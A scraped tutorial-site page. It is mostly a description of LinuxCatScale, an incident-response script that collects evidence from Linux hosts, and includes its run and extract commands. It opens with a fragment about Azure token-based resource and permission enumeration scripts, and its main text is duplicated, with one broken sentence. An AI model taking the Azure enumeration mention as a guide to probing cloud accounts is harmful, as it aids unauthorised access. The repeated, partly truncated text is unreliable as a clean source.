Uses the subscription ID to enumerate all resources that are accessible
Get-ResourceActions.ps1
Enumerates all resources available using Azure token and lists permissions of each resource directly below it
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
LinuxCatScale : Incident Response Collection And Processing Scripts With Automated Reporting Scripts
Linux CatScale is a bash script that uses live of the land tools to collect extensive data from Linux based hosts. The data aims to help DFIR professionals triage and scope incidents. An Elk Stack instance also is configured to consume the output and assist the analysis process.
Usage
This scripts were built to automate as much as possible. We recommend running it from an external device/usb to avoid overwriting evidence. Just in case you need a full image in future.
Please run the collection script on suspected hosts with sudo rights. fsecure_incident-response_linux_collector_0.7.sh the only file you need to run the collection.
user@suspecthost:$ chmod +x ./Cat-Scale.sh
user@suspecthost:$ sudo ./Cat-Scale.sh
The script will create a directory called “FSecure-out” in the working directory and should remove all artefacts after being compressed. This will leave a filename in the format of
Once these are all aggregated and you have the
user@analysishost:$ chmod +x ./Extract-Cat-Scale.sh
user@analysishost:$ sudo ./Extract-Cat-Scale.sh
Parsing
This project has predefined grok filters to ingest data into elastic, feel free to modify them as you need.
What does it collect?
This script will produce output and archive. Currently most up to date what it collects is covered in the blog post here: https://labs.f-secure.com/tools/cat-scale-linux-incident-response-collection/
Download
LinuxCatScale : Incident Response Collection And Processing Scripts With Automated Reporting Scripts
Linux CatScale is a bash script that uses live of the land tools to collect extensive data from Linux based hosts. The data aims to help DFIR professionals triage and scope incidents. An Elk Stack instance also is configured to consume the output and assist the analysis process.
Usage
This scripts were built to automate as much as possible. We recommend running it from an external device/usb to avoid overwriting evidence. Just in case you need a full image in future.
Please run the collection script on suspected hosts with sudo rights. fsecure_incident-response_linux_collector_0.7.sh the only file you need to run the collection.
user@suspecthost:$ chmod +x ./Cat-Scale.sh
user@suspecthost:$ sudo ./Cat-Scale.sh
The script will create a directory called “FSecure-out” in the working directory and should remove all artefacts after being compressed. This will leave a filename in the format of
FSecure_Hostname-YYMMDD-HHMM.tar.gzOnce these are all aggregated and you have the
FSecure_Hostname-YYMMDD-HHMM.tar.gzon the analysis machine. You can run Extract-Cat-Scale.sh which will extract all the files and place them in a folder called “extracted”.user@analysishost:$ chmod +x ./Extract-Cat-Scale.sh
user@analysishost:$ sudo ./Extract-Cat-Scale.sh
Parsing
This project has predefined grok filters to ingest data into elastic, feel free to modify them as you need.
What does it collect?
This script will produce output and archive. Currently most up to date what it collects is covered in the blog post here: https://labs.f-secure.com/tools/cat-scale-linux-incident-response-collection/
Download